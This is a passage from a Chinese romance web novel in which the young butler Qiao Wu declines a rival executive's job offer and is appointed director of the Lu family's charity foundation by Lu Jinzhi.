忽然一松,一整晚的纠结都不复存在。 不管是以前的乔梧还是长大后的乔梧,他都想把她塞进书包带走。 因为她还是她,这跟长大与否有什么关系呢。 他忽然笑了下:“我的行李箱应该够大。” “什么?” 应该能装得下你了。 陆宣心道。 不过他还是没说出来,这话太幼稚。 他也是长大后的陆宣了,23岁的人不能说出这种话,会被笑话。 他快速吃完早餐,去拿起乔梧熨好的衣服回房间换上。 穿好以后他眼前浮现出乔梧站在窗前给他熨衣服的画面,鬼使神差地低下头闻了一下。 桃花眼略带失落地轻轻垂下,并没有闻到没有她身上的味道。 走出房门时,乔梧正坐在沙发上跟镜头说话录素材,见他来了便对他笑了一下:“路上小心。” 仿佛昨天那个冷冰冰跟他讲道理的人不是她一样。 她总是这样,每次在做了什么惹人生气的事情后,又会给人一颗甜枣。 但偏偏又很得人心。 陆宣放下那个一直执着于在不在意的自己,放下欲盖弥彰的员工和金主,直面自己在意的不仅仅是一个名字。 她是一个很特殊的人,是他从小就认可的朋友。 只要是她就行。 他可以不干涉她的自由,但也会证明他不是小孩了,他也会用成年人的方式去对待她。 “等着。”他戴上墨镜,“我会拿第一名。” 乔梧莞尔:“我很期待。” 等陆宣离开,乔梧也回到自己的房间收拾东西,不过她的机票在下午,看着时间还早,她打算去周围走走,来了一趟,可以回去给家里那几只小学鸡带点礼物。 但没想到她又在电梯里遇上了秦敛,她点了点头:“秦总。” “乔管……”秦敛话音略停顿,换了个称呼,“叫你乔梧介意吗?” “当然。” 秦敛往旁边站了一步:“今天不用去节目组了吗?” 乔梧:“嗯。” 那个节目有秦氏的赞助,也是因为这个乔梧才放心让陆宣来参加。 所以秦敛知道她的动向她并不奇怪。 “有空吗?”秦敛笑着问,“想请你喝杯咖啡。” 第38章 第三十八章二更 酒店楼下就有咖啡厅,五分钟后两人面对面而坐。 “上次没能跟你喝成茶。”秦敛说话的语气自然有度,“这次补上,喝点什么?” “橙汁就好。” 乔梧轻易不喝咖啡,一是本身不喜欢咖啡的味道,二是她的作息一向很稳定,也不需要咖啡来提神,喝了容易打破她现在的生活秩序,她喜欢清爽一点的饮品。 既然秦敛邀请她,那一定有事要说,所以她也不会客气。 秦敛给旁边等着的服务员递了个眼神,后者就离开了。 这下乔梧才开口:“秦总有事要说?” “随便聊一点家常。” 说实话,秦敛的确很欣赏乔梧这种人。 先不说她的工作能力如何,单见了这几面对方进退有度的态度,以及处理事情的随机反应都很强,不莽撞,也不争不抢,这足够让人对她的第一印象很好。 他以老板的名义提前看了乔梧在节目里录制的相关片段,原片还没剪辑过,所以每一帧都看得很清楚,不管她是对陆宣还是对廖廖,都很针对性,做的事情也都是因人而异,说明她是有考量过的。 “你在陆家工作多久了?”他问。 “一个月左右。” 秦敛:“?” 他沉稳的神色有一瞬的裂痕,一个月? 平均下来陆家那几个人,一人相处十天不到,训狗都没这么快吧。 一个月之前陆尽之都还没从国外回来,就这么信任她了? 此人竟然厉害至此! 不过也好,感情应该还不深。 “我有个弟弟,你见过的。”秦敛说。 “嗯。” 以秦敛对乔梧短暂的了解,对方应该不是那种需要拐弯抹角来交流的人,聪明人有聪明人的沟通方式,所以他直接说:“除了他,我家中还有个妹妹,说来惭愧,我父母对孩子一向都比较溺爱,加上我工作忙,他们没有人看着的时候会任性一点,也没人管得住他们。” 乔梧无声挑了下眉。 “最近这几次见面,我发现你对管教这方面挺有经验。”秦敛继续道,“不知道有没有什么经验可以传授一下。” 他哪里就看到自己有经验了? “你可能误会什么了。”乔梧解释,“我不是教育学家,所以也没什么经验可谈。” 更不是幼师。 “但我看你跟陆宣他们相处得还挺好?” “是不错,不过我跟他们的情况可能跟你想象中不太一样。” “哪里不一样?”秦敛不是冲动过来的,他已经查过了,陆宣和陆应池他们在一个多月前在圈里依旧是没什么脑子的二世祖。 说实话,他早就做好了准备。 陆家这一盘散沙,仅仅是靠着陆尽之撑着,也迟早要被另外几个貌合神离的兄弟给拖下水,他就等着到时候坐收渔翁之利了。 但万万没想到,陆家几兄弟居然浪子回头。 秦敛有点小小的遗憾。 不过这世上挣钱的方法有很多,没有陆尽之也会有其他有钱人。 他并不着急,万一到时候陆尽之比他先死呢。 也是一样的。 “其实在我家可能会比在陆家轻松一些。”秦敛直接道,“我没有太多苛刻的要求,只要能让家里的弟弟妹妹别长歪就好,只要能做到报酬都很好说,陆家一年给你多少报酬?” 他句句实话,是很有诚意的。 陆尽之那种老板,嘴毒又利益,挑剔又龟毛。 在他手底下做事儿压低得多大。 他就比陆尽之脾气好,业内人人皆知。 “你不是才在他们家工作一个月?” “秦总,打听竞争对手的工资好像不太礼貌。”乔梧轻笑,“不过你的确误会了,我虽然只在陆家工作了一个月,但我从小是在陆家长大的,我的父亲就是上一个管家。” 虽然都姓乔,但秦敛的确没把这事儿联想到一起去。 他从来没听说过管家这职位还有世袭制的。 而且也没想到年纪轻轻的女孩子会选择成为一个管家。 “有什么区别吗?” “区别就是,我能管住陆宣他们不仅仅是因为个人能力,也是因为我们从小的情谊。”乔梧并没有隐瞒,“所以我跟他们的情况并不适用于你的家庭。” “等等……”秦敛意识到哪里不太对,“你说你跟他们一起长大的?” 他怎么就忽略了采访里乔梧说过他们从小就认识! 坏了。 难怪昨天陆尽之会挂他电话。 那个小心眼儿! “嗯。”乔梧并不知道眼前的人心里正在经历多大的风暴,继续说,“如果秦总想要管好自家人,还是自己来会比较合适,因为你在他们心里地位不同,也有这个权力,我看你弟弟挺怕你的。” “他不是怕我。”秦敛说,“他是怕我的皮带。” 乔梧:“……” 秦敛知道,人人都有天性,什么样的锅配什么样的盖。 他父母之所以那么溺爱弟弟妹妹,都是因为当初太过于苛待他了。 作为家中长子,父母把他当做继承人来培养,没想到培养出来后发现这孩子性格过于沉稳,思维也太早熟,从小就很有手段,跟父母一点都不亲,也不可爱。 所以秦敛父母又重开小号,并且开始溺爱孩子。 这就导致他们大的也没教好,小的也没教好。 秦敛一向看重结果,对于难管的弟弟妹妹,一直都是用父母管教他的方法来管的,等到长大后觉得方法错了也来不及了,他的天性如此,就算要改也不知道要怎么改。 他很少打妹妹,但妹妹已经受不了他整天满世界乱跑,现在也只能用皮带按住一个弟弟。 原本还以为可以挖一个回去替他管管,乔梧是管家,这方面她很专业。 但没想到挖到陆尽之的大动脉上了。 挖到一个从小跟陆尽之待在一起而且还被他认可的人,后果会是什么秦敛想想就觉得棘手。 “我找你的这件事……”他难得迟疑,“别跟陆尽之说。” 不用他说,乔梧也不会说出来的。 有一个钟禾静预定家里都要翻天了,再来一个甚至已经开挖的,以后秦敛可能跟陆这个姓氏都要犯冲。 她点头:“好的。” 跟乔梧聊天还挺轻松,主要对方说话的语气也好态度也好都很合适。 秦敛看着看着就觉得不是很甘心,他拿出自己的手机:“在不了解你们的关系之前,我对你个人的处事方式还是认可的。” 没有陆应池没有陆宣,作为一个管家,在宴会时能够分清谁才有说话权,掐在关键处的确也是她自己的是非判断能力。 “加一个联系方式介意吗?”秦敛说,“不做我家的管家,但我还是想请教一下你,也不白做,按次数收费或是时薪都好。” 看来家里的事的确让秦敛挺头疼。 送上门的钱为什么不要。 乔梧加上他的联系方式,又说:“不过需要看时间,陆家是我的第一顺位。” “当然。” 秦敛还真有点嫉妒了,他正色起来:“对于管教弟弟妹妹这件事你有什么建议吗?” 说实话,他断过零花钱,打也打了,骂也骂了。 但就是反骨,当着他一套,背着他一套。 “如果真的坏到无可救药,直接报警才是最简单的方法。” 秦敛:“……倒也不至于。” 乔梧就是吓唬一下他,因为她对秦天睿印象的确不是很好。 “那么就需要足够了解他了,这样你才知道他需要什么。” “然后把他需要的给他?” 乔梧笑道:“不,是狠狠拿捏他。” 看到对方眼里略带狡黠,甚至可以算得上是恶劣的笑意,秦敛轻轻挑了下眉。 难怪钟禾静对乔梧的评价这么高。 她的确有很多面- 飞机落地已经是晚上八点。 原本陆宣留的时间是四天,乔梧提前一天回来的,也并没有告诉谁这件事,因为每个人都有自己的事,她回来又不是什么了不起大事,她的车一直都停在机场,所以自己开车回了陆宅。 先回自己家里换了身衣服,她才来到主宅。 主宅很安静。 “小乔管家。”佣人们不用她问就主动报备,“四少爷和小小姐还在藏书楼写作业,要告诉他们您回来了吗?” “不用。”乔梧来到餐厅,“跟厨房说可以上菜了。” 落地时她就嘱咐厨房做了自己的晚饭,到家就可以直接吃。 她现在发现陆尽之这个习惯也挺好的。 不仅她要给陆尽之做日报,其他人也要给她统一做日报,趁着这个时间她拿出平板翻看。 不到一分钟,餐厅门被人打开。 她头也没抬:“放这儿吧,谢谢。” 下一秒她旁边的凳子被人拉开,有人坐了下来。 余光里是被西裤包裹着的长腿,乔梧扭过头:“陆尽之?” “嗯。” 陆尽之手里同样拿了一个平板,他并没有刻意遮挡,所以跟他离得很近的乔梧一眼就看到对方正在看的是她昨晚发的职业规划以及日报。 看得这么认真? “今天的还没来得及写。”乔梧说,“我一会儿处理完工作再发给你。” “不急,先吃饭。”陆尽之放下平板,“吃完开个会。” 开、开会? 见厨房推上来两份晚饭,乔梧才反应过来:“你也没吃饭?” 陆尽之从另外的餐盘上拿起热毛巾,垂着眼擦手:“不明显?” “才回来么。”乔梧也放下手里的东西,这个点的话家里的晚餐时间已经过了。 “不是。”陆尽之倒是很干脆,“吵。” 最近陆应池和陆柠走得很近,状似也没有以前那么怕他了,仗着乔梧不在,吃饭的时候吵得满嘴喷饭都不消停,太过影响食欲,他眼不见心不烦。 “加个规矩。”他淡淡道,“禁止喷饭。” 乔梧没忍住,噗嗤笑了。 慢条斯理吃着饭的陆尽之忽然侧目看了她一眼,望见她脸上不加掩饰的笑意,也弯了弯唇:“看来这趟出差体验不错。” 想着陆宣经过这一次已经有改变了,至少知道怎么用正常人的方式跟别人相处,乔梧觉得出差也很值。 她欣然点头:“嗯。” “因为什么?” “日报里跟你说过。”乔梧认真看着自己盘子,“陆宣改变很大。” 陆尽之脸上笑意更深:“这样。” 他没再说话。 吃完了饭,陆尽之拿起桌上的平板:“跟我来。” 这是要开会了? 乔梧跟着他的步伐上楼,心里埋下疑惑。 这么正式,难道是公司出什么事了? 不应该。 她的手机24小时开机,要是有什么事徐朝早就给她打电话了。 跟着陆尽之走进电梯,乔梧这才发现他按的是四楼,那一层只有陆尽之的房间。 她愣了愣。 陆家所有的人里,她知道陆应池的房间钥匙放在哪里,知道陆宣保险柜的密码,可唯独跟陆尽之有关的什么都不知道。 从小就作为天才儿童的陆尽之有很多细节上的怪癖,比如说不爱说话不爱沟通,因为向上的人把他当孩子,向下的人他觉得幼稚,没人能插进他的精神世界,所以他比较独来独往。 但是他对情感的需求也不高,陆宣哭着要爸爸妈妈抱的时候,陆尽之已经不能理解弟弟的情绪需求了,他早早就自己独立分房睡,也从来没有半夜哭过去找父母,他总是很安静地待在自己的房间里,也不允许谁插进他的世界,他领地意识很强,自然也不允许别人进他的房间。 其他小孩不懂,但乔梧懂,所以她一直都很老实。 但有人不老实。 她在很小的时候,意外进过陆尽之的房间一次。 陆宣比她大一岁,也比她更早会走路,所以她那段时间几乎已经变成了陆宣的玩具,被他又抱又拖到处跑。 有一次陆宣趁着陆尽之还没放学回家,一定要跟她玩躲猫猫,然后在保姆没注意的时候偷偷把她塞进了陆尽之的房间。 乔梧想要爬出来,但爬到门口发现自己的个子根本够不到门把手。 她还趴在门上的时候,门啪嗒一下就开了,她被门挤到了门背后。 背着小书包从幼儿园放学回来的陆尽之听见声音绕过来看到坐在地上的她,小脸都冷冰冰的。 但他那会儿只是看了她一会儿,听见外面传来陆宣的声音后,他砰的一下关上了门。 震得乔梧心里都抖了抖。 任由陆宣在门外大哭大闹陆尽之都没开门,他只是伸手把她抱了起来放到沙发上坐着,然后说:“他很吵对吧。” 只可惜那会儿乔梧还不会说话,只好装傻。 好在陆尽之也没指望她回答,而是从书包里拿出书来,坐在她身边开始看,还把书放在中间给她一起看,也不管她那会儿还是个不会说话不会走路的孩子。 关于看书这个事情,也是因为陆宣。 陆尽之总是会被强迫来陪她和陆宣玩,但一般结果都会变成陆宣在旁边抱着她哭,而陆尽之自己坐在旁边看书。 等陆宣哭累了睡着了,她也就解放了,担心陆尽之烦她,就老老实实坐着。 长辈看不下去让陆尽之陪她玩,陆尽之就挪一挪小屁股,挪到她身边来看书。 这个时候乔梧才能趁着这个机会看一看这个小天才在看一些什么,然后发现只比她大五岁的陆尽之已经在看文学名著了。 渐渐的,陆尽之可能发现了她也很安静, 所以每次都会坐得离她近一点,看书的时候也会把书往她的方向挪一挪,偶尔也会从陆宣手里拯救一下她。 所以他留她在房间里,只是为了远离陆宣而已。 那会儿乔梧看过他房间的构造,除了一些为了孩子安全装的设施,其他没有什么跟小孩有关的东西,也没有什么玩具,因为陆尽之不喜欢玩具,就是书比较多。 电梯到了。 陆尽之打开自己的房间门,头都没回。 乔梧站在门口,不确定地问:“我也进?” 门内的陆尽之回头,轻笑:“你要站在这里跟我说话?” 于是乔梧没有心理负担地进了。 跟其他人的房间每个区域都隔开不太一样,陆尽之的房间除了卫生间和衣帽间,其他都是打通的,一眼就能望得到头。 拆去了小时候那些复杂的设施,变得更加简单整洁,可能是因为有了藏书楼,所以他房间里少了很多书,显得很空。 很大的床,很大的书桌,以及一张椅子。 仅此而已。 也很符合他不让任何人进来的性格,毕竟这里除了床没有任何地方可以让别人坐下。 但每一样都是他自己挑选的,设计样式都很独特精致。 陆尽之显然没想到过要坐下的问题,他后腰靠在书桌前,头微微垂下点开平板上她的职业规划,语气很温和:“五年内没有转行的想法。” “对。” 乔梧留给自己的时间是五年,到时候陆宣应该事业稳定,陆应池大学毕业有自己的目标,陆柠也考上了大学,大家基本定型,她也就放心了。 陆尽之点点头,又点开下一份日报,昨天的。 “昨天只忙了陆宣的事。”他没抬头,指尖在那些字上轻滑,“今天呢?” “今天也是。”乔梧说,“节目录完了,所以提前回来。” 陆尽之笑了下:“没遇到其他人吗?” “嗯?”乔梧并不觉得其他跟工作无关的人有必要写在日报里,“没有了。” 房间里安静了几秒。 陆尽之终于抬起头,他将平板扔在桌上,很轻的一声。 那双黑色的眸子虽然含着笑,却没什么太深的笑意。 乔梧脑海里冒出一个念头。 他不高兴。 “昨天有个很没有礼貌的东西给我打电话。”靠着书桌的陆尽之与她差不多高,以至于视线十分直白,他笑着说,“问我我家管家是在哪找的,他没问你吗?” 乔梧:“……” 不是,不是说好了谁也不说? 背刺她?! “为什么说谎?”陆尽之站起身走到她面前,“我从没对你说过谎,也不希望你对我说谎。” “没说谎。”乔梧失笑,“我没答应他。” “我知道。” 如果答应了,秦敛早来他这里犯贱了。 “我只是不高兴。”陆尽之垂眸与她对视:“你给我的简历只写了离开的规划,还试图隐瞒我别人想要走你的事实。” 怎么就试图隐瞒了。 乔梧觉得很有必要为自己辩解一下:“我怕你们在意。” “这样会更在意。”陆尽之眼中笑意终于淡了,看起来更真实,“乔梧,我并不了解现在的你。” 他伸手轻轻点了一下乔梧的眼镜中间的位置。 “别骗我,我不想跟你说话时也要跟其他人一样。” 他收回手,轻压着眉,目光带着近乎固执的认真,“也不愿意下次要摘下你的眼镜跟你说话。” 第39章 第三十九章那不是你 乔梧还是第一次听这种说法,不解地问:“摘下眼镜说话是什么意思?” “嘴巴会说谎,眼睛不会。” 原来是这样。 这下乔梧终于懂了为什么陆尽之的视线总是那么直白,总是充满了压迫感,小时候也是这样,还总把人吓哭。 原来这是他理解别人情绪和感情的方式。 “我知道了。”她笑着说,“我不会骗你的。” 那双漆黑的眸子转过来盯着她看了好一会儿,乔梧也毫不遮掩的对上他的视线,直到对方得到了满意的答案后离开:“嗯。” “那今天会议内容还有其他的吗?” 陆尽之绕到书桌后面,他的电脑室待机状态,打开就是一份文件,在他得知乔梧回来之前就是在这儿办公,只是临时中断了工作,下去吃了个饭。 他抬头刚要说话,却发现乔梧依旧站在那里。 陆尽之视线在房间内扫过一圈,轻轻蹙了下眉。 他直起身:“来。” 闻言乔梧便绕了过去,在他身边站定。 陆尽之将唯一的椅子往后挪走一步,视线依旧在电脑屏幕上,可食指和中指却在椅背上轻轻敲了敲:“坐。” 乔梧:“?” 她低头看了眼,又不解地看着陆尽之。 “这是你的椅子。” 陆尽之俯着身,一只手握着鼠标移动,听到这话后回头看她一眼:“让你坐,不是让你搬走。” 这是坐和搬走的问题吗? 你是老板! 但陆尽之明显没有要继续跟她多说的意思,视线又转了回去。 这就是天才的脑回路吗。 但不管以前的关系怎么样,乔梧自觉还是有点做管家的意识的,还不好意思让自己坐着老板站着,所以她将椅子往后拉了拉,也俯身跟陆尽之一起站在电脑面前看那份文件。 椅子移开了,陆尽之瞬间搭空的指尖轻轻一动,余光看到靠过来的人,也并未多说什么。 电脑上是一份陆氏旗下慈善基金会的董事任命书,以及公益活动的企划书,以及一封慈善论坛的邀请函。 乔梧瞬间就想明白了其中的关窍。 作为上市企业,陆氏很多年前开始就在做公益承担平衡社会责任,这样有助于树立掌权人的公共形象,陆江一直都是慈善富豪榜上的常驻,但最近几年他身体不好很少出差,大多都是由谢意来替他完成这方面的工作。 陆尽之回国后谢意也退休了,现在份工作应该由才升任总秘的徐朝协同陆尽之完成。 陆尽之将鼠标推到她面前:“慈善基金的董事原本是父亲,现在他退居幕后,董事会要选择新的执行董事理事,理事这个位置你要试试么?” 乔梧讶异地看着他。 “父亲过去独裁专权,他在集团这两年的很多决策都有问题,现在还要给他收拾烂摊子。”陆尽之丝毫没有一点说自己父亲坏话的自觉,眼中浮现出明显的不满,“每天有很多会要开,很多人要见,短期内不会频繁长时间出差。” 又道:“徐朝虽然负责认真,但缺了稳重魄力,现下我能相信的人只有你。” 相信,她? 乔梧记得原剧情里,那个“她”也很想趁着这个机会拿到在基金会的话语权。 毕竟虽然钱是陆氏的,但要是能从中操控,那就不是一笔小钱,光是陆氏的股份就能值好几百亿,还不算个人捐赠,但陆尽之从来没有松过口。 可现在陆尽之回国才短短几天。 乔梧原以为那份既定的规则是陆尽之对她最大的宽限,他对她不排斥的态度也是她预想到最好的结果。 没想到还有这一出。 乔梧定定地看着他。 事实上褪去在外那层温柔恶劣的伪装,陆尽之这个人本质上一直都是很冷淡理智的,他说话时声音不会很高,却听不出任何的犹豫或是试探。 只是很平静地在叙述一件他已经衡量过利弊的事情。 “家里的那几条小狗困不住你。”屏幕上的光影照在陆尽之的脸上,更透几分冷白,他回眸,“既然你五年后有转行的想法,要往外面飞飞么?” 要往外面飞飞么? 乔梧活过两辈子,生死早就已经被她看淡。 除了重新得到身体的那一天,无论是面对多厉害多有钱的人,她几乎不会升起一点紧张或是其他情绪。 但此时在陆尽之这个空旷安静 的房间里,她似乎听到了心跳的声音。 剧烈到几乎要震破她的耳膜。 如果不是因为那些剧情,她生活在这样的环境下,平安健康地长大,她的生活会有什么变化呢。 她会跟陆尽之几兄弟成为永远的朋友,除此之外她还会飞得很高很远,见更广阔的世界。 她不需要很多钱,也没有太大的野心,没有觊觎过陆家一分一毫,但她需要一个可以自由做自己的机会。 所以在陆尽之问出这个问题后,她几乎没有任何犹豫,就点了头:“要。” 陆尽之轻笑:“那你就是了。” 听到陆柠说钟禾静想要挖走乔梧的时候,陆尽之就开始在思考一个问题,用什么留下乔梧。 后来他又接到了秦敛的电话,秦敛想要一个像乔梧那样的管家。 他从没把秦敛这个没礼貌的要求放在眼里过,因为他知道乔梧不会去。 因为乔梧不是管家。 他从来就没把乔梧当做过管家,小时候也是,现在也是。 没有任何管家和佣人能随便进他的房间,包括乔梧的父亲。 只不过她现在是管家,那他就认可这个职位,但如果她以后是其他的工作,是老板、是明星…是任何一个头衔,他都认可。 他也从来都不是乔梧的老板,陆氏任何一个人都不敢用规则来限制他,他也不会愿意。 回国的酒会上,他没有必要告诉那些没有交集情感陌生的人自己回来了,只要是生意场,那些人日后一定会用各种方式知道这个消息。 当他抬起酒杯看到二楼的人,他觉得这是自己可以告知的对象。 就像好久不见的朋友那样。 他跟她隔空碰盏。 所以当他收到乔梧那份职业规划时,他终于在天秤里找到了一个合适的平衡。 他要留下的不是管家,也不是什么辅佐他的的人,而是这个人。 哪怕她五年后离开陆家飞走了,她依旧还会跟他联系,是他的朋友,也还会叫他陆尽之。 他仔细想了一晚,终于找到了这份可以留下她的筹码。 也不是留下,因为他会跟她一起飞。 陆尽之觉得自己跟乔梧就该是这样的。 至于那几条小狗,让他们在狗窝里一直待着,自己咬自己吧。 狗粮管饱。 目前这个答案让陆尽之心情十分不错:“执行董事和理事的任命结束后,年度慈善论坛的会议你需要出席,今年陆氏年底的公益发布也要召开,细节徐朝会跟你沟通,事情有点多,你找个助理吧。” 除了家里的事,外面的事也需要一个人来帮着她。 乔梧知晓其中的必要步骤,她眼里含着浅浅的热切:“好。” 虽然文件也会发到自己手里,但乔梧还是没忍住拿过鼠标往下滑查看这些文件,看得入迷了就忘了自己在哪了。 她手肘搭在桌沿撑着自己的重量,目不转睛,丝毫不知道自己露出了什么笑。 看她丝毫不遮掩自己的高兴,陆尽之笑了下,站直身体:“会开完了,你有什么要补充的?” “我没有看完。”乔梧腰有些酸,她按了按站起身,看了眼那把唯一的椅子,“怎么还把沙发也撤了。” 陆尽之莞尔:“没人坐就撤了。” 他下班回家只会在电脑前办公,结束直接上床睡觉,多余的东西对他来说没必要摆出来碍眼。 乔梧再一次刷新对他的印象:“我还以为你不喜欢别人进你房间。” “嗯,不喜欢。”陆尽之不加掩饰。 “那我们以后可以在楼下说。” “不用。”陆尽之语气很随意,“你可以进。” 乔梧愣了下:“我?” 不过陆尽之显然不理解她为什么会这么惊讶:“你不是进来过?” “我以为你是为了躲陆宣一时情急。” 陆尽之轻嘲:“那我会把你一起扔出去。” “……” 但到了这个时候陆尽之终于明白为什么那次之后她就再没来找过他了,原来是觉得他不喜欢别人进房间。 他轻笑:“别人不可以,你可以。” “沙发会装回来。”他说,“你可以来找我。” 乔梧还是没能反应过来:“为什么?” “很难理解?”陆尽之挑眉,“不讨厌你,所以可以。” 还真是挺简单的。 乔梧并不是没有脑子的人,陆尽之对她的优待超过了对几个弟弟。 但显然这份优待不是针对于前一个月的“她”,毕竟那会儿他一条消息都没回过。 陆尽之这么聪明的脑袋,不会看不出来她前后的反差,她也从来没有刻意掩饰过。 “陆尽之。”乔梧忽然问他,“你觉得我哪里变了吗?” 空旷的房间里,陆尽之的存在感十分强烈,他背对着巨大的落地窗,身后是严丝合缝紧闭的深色窗帘,从而显得他眸光更加深邃。 他就这么站在那,视线赤裸直白地落在她身上,几秒后他双眸微弯。 “没有。”他笑着说,“你一直没变。” 陆家几兄弟各有各的特点,但无一例外长相都十分卓越。 旁人第一眼或许会被陆宣极为勾人的长相迷惑,或是被陆应池的不羁冲击,但乔梧在这一刻发现,其实陆尽之才是深藏不漏那个。 他长相没有那么明艳,但他只要静静站在那里就会让原本不属于他的目光一点点挪动,直到看到他为止。 抛去平时不及眼底的笑意,当他那双幽深理智的眸子染上真正的笑意时,远比陆宣皮囊上的勾人更加震慑人心。 乔梧被他看得心里跳了一下:“如果变了呢?” “那就不是你。”陆尽之说。 不要跟聪明的人走得太近。 这是乔梧回到自己房间后的第一想法。 但不知道为什么,被陆尽之看穿后的心态并不像她过去想的那么恐惧和担心,甚至还挺高兴。 她现在开始庆幸陆尽之是这么敏锐的一个人,所以当他透过皮囊看到真正的她时,她会有一种远游归来遇到故人的欣喜感。 所以陆尽之才这么相信她。 乔梧终于放下了心- 陆氏旗下基金会的执行董事还是陆尽之,但对于突然多出来的一个理事长,还是有很多人不理解,甚至质疑。 “小陆总。”在董事会上,股东之一站起来,“我们知道乔小姐是陆家的管家,过去乔老先生在的时候也从没插手过集团的事情,乔小姐才二十岁出头,哪怕简历再漂亮也没任何经验,公是公私是私,希望您慎重考虑一下我们的建议。” 陆尽之坐在主位,闻言温声道:“考虑了。” 大家心中一凛,考虑了你还这么专横! “不仅考虑了,我还采用了你们的建议。”陆尽之示意徐朝拿出这两年公司发展的盈亏比以及股价的涨跌比,“这是你们用两年给我的答案。” 紧接着又拿出了自己在国外发展这两年国外公司的相同对比:“这是我的答案。” 座下所有人顿时哑口无言。 “我也二十多岁。”陆尽之脸上始终挂着很浅的笑,“但你们这些比我大一轮两轮的老人,经验如何?你们敢质疑我么?” 不敢。 没人敢质疑陆尽之。 连他老子都不行。 除了他的能力,还有他的绝对话语权。 这是陆家的公司,这就说明了一切。 扫了一眼灰扑扑的所有人,陆尽之这才慢条斯理淡淡道:“你们既然过去纵容了陆江的独断,现在也没有权力来质疑我,既然不敢,就别在我这儿用倚老卖老那一套。” “还有,从我坐上这个位置的那一秒,我就是这里唯一的陆总,没有任何前缀。”他笑了笑,“没有异议就散会。” 两年前的陆尽之还是坐在陆江手底下的年轻人,是继承人。 但他用了两年的时间,再次坐在这里,他就只是陆尽之。 所有的董事和股东在这一刻终于意识到这个问题。 在所有人都不敢再吱声的时候,陆尽之站起身:“从这里走出去以后,在公司乔梧就只是乔梧,她不是你们的管家,清楚了?” “清、清楚了。” 乔梧并不知道董事会上出了什么事。 在任命函下来之前,她花了两天时间在了解基金会的细节跟谢意沟通,终于把每一个合作渠道,项目部门和过去的管理模式都给顺了下来。 任命函到手的那天,她就跟基金会的各部门开了一个会。 谢意虽然退休,但有老陆总的嘱咐,便在旁边带着她。 陆江以前有意培养乔梧辅佐继承人,但从来没想过老二会给她这么大的权利。 毕竟基金会跟陆氏形象挂钩,陆尽之作为执行董事,自然也是跟他的形象挂钩,这是绑在一起的。 但就跟陆尽之说的一样,如今的陆江根本做不了谁的主。 只能让谢意来帮衬一点。 “主要员工的资料都发给您了。”去会议室的路上,谢意忍不住去看乔梧的状态,发现对方一点都没有第一次上场的紧张或是不自在。 这样谢意也放心不少,又道:“之前董事会任命时有部分人有不同意见,被陆总压下来了,所以如果有什么困难,可以随时跟我说,我会处理。” “好,谢谢。” 乔梧早就做好了心理准备,那天在陆尽之的房间里,他没有任何犹豫地说“那你就是了”的时候,她猜到陆尽之会给她解决上面的人。 至于其他的,那就看她了。 谢意将会议室的门推开,给了她最大的面子。 乔梧点点头后径直走进去坐在最中央。 在她走进去的那一瞬间所有人的目光都聚集在了她的身上,原本的怀疑和不屑在这一刻都化成了惊讶。 这些人还不足以看到集团高层工作的交接,也参与不了董事会,只能从别人那里听到一言半语。 来的人是个二十出头的人,听说还是陆家的管家。 陆尽之的能力没人反驳,但也想不通他这次的目的,简直令人发笑。 可跟所有人想的不同。 走进来的人并不是那种穿着西装制服彬彬有礼一板一眼的管家。 女人踩着红底高跟鞋,上身是红色的外搭衬衫,下摆隐在咖色的长裤里,脖子上戴着深邃的蓝宝石项链,高级又冷峻。 而让人一眼被吸引住的是她从容不迫的态度和气质,不笑时她眉眼都充满了压迫感。 在她视线扫过来的时候,所有人都下意识收起原本散漫的态度,坐直了身体,变得安静。 长这么好看,这年轻。 陆总还这么护着,别是关系户吧? 会议室不大,乔梧看了一眼,不到二十个人,每个人看她的眼神都不一样。 她浅浅看了一眼就收回视线,笑意漫开:“大家好,我是乔梧,新任理事长。” 反应过来的众人稀稀拉拉的掌声响起。 乔梧这才坐下,她也不在意别人用什么态度来看她,只是道:“相信大家已经看过我的简历了,如果对我上任有什么异议可以提出来。” 还是正常流程,大家都下意识松了口气。 却又听到对方含笑的声音:“你们可以质疑我的能力,我也会向你们证明我的能力,但如果你们用一些可笑的借口来质疑,比如我的年龄我的长相我的身份我的关系,那很抱歉。” 她停了下来,直到所有人都看过来,才温声说:“我会给你换岗,如果还是觉得不愿意,我也可以给你批辞职信。” 所有人震惊地望着她。 就连谢意也有些吃惊,乔梧的手段超过了他的想象。 “很惊讶吗?”乔梧不徐不疾道,“但事实是任何一个领导都不会用有二心的人,如果你不行,自然有的是人可以取代你。” 她等了几秒,确定没有任何一个人开口后,拿出准备好的资料:“如果没有异议,那我们今天的会议就可以开始了。” 她轻轻扬着眉:“再次自我介绍一下,我叫乔梧,很高兴跟你们在一起工作。” 第40章 第四十章二更 开完会去医院接陆江的谢意将会议上的事复述了一遍,陆江听了十分意外:“她真这么说?” 隔了下,又不太意外:“也合的。” 这段时间乔梧虽然忙,但也会抽时间去医院看她,说话都进退有度。 陆江也看过她在公司交接时的做法,想象了一下乔梧在会议室压得众人不敢出声的画面:“这孩子到底怎么长的,以前没见着她能有这种手段和魄力。” 难道短短两年在国外就能学到这么多东西? 早知道把那几个逆子也一起丢出国了。 “那她呢?”陆江问,“还没回来?” “还在校对细节。”谢意说,“而且听说她需要招一个助理,会晚点回来。” 招助理的事她没开会之前就已经着手发出招聘信息了,乔梧做事效率一直很高,在这方面哪怕是谢意这种工作了多年的老人也自愧不如。 陆江点点头。 车在主宅门口停下,谢意下车把轮椅推出来,扶着陆江坐上去。 陆江抬头看了一眼好几个月没回来的地方,几可不察地叹了口气:“进去吧。” 虽然以前生病是装的。 但希望回来不会被气成真的。 他才进入主宅,就看到了一楼多出来的两样东西,以及极其有节奏的敲击声。 有个背对着他的高大背影坐在桌前,手起锤落,砰砰砰砰,那人头顶的黄毛都跟着节奏晃动。 佣人最先注意到门口的轮椅,忙道:“老爷回来了。” 锤声骤停。 陆应池见着来人后站起身,靠着桌子举起小锤:“哟,舍得回来了。” 锤子在他手心轻轻敲打,他高高抬眉,看起来十分有威胁力。 “托你们的福,还没死。”陆江操控轮椅上前,越过他时发现原来桌上是一盆核桃。 “……” 高考前就在吃核桃,怎么现在还在吃? 他很怀疑当初生孩子的时候,是不是在老二那里用完了所有的智商余额,导致后来的两个儿子各有各的蠢。 “差不多得了。”陆江说,“本来就是个炸药桶,吃了更上火。” 陆应池轻啧:“你是不是在医院待得太舒服了。” 陆江懒得理他,他正在看那个规章制度,以及后面的个人目标。 该说不说乔梧在家这一个月以来,他在医院真是吃嘛嘛香,家里一点都没有烦心事找上他。 除了每个星期几个逆子都要定期去医院气一下他。 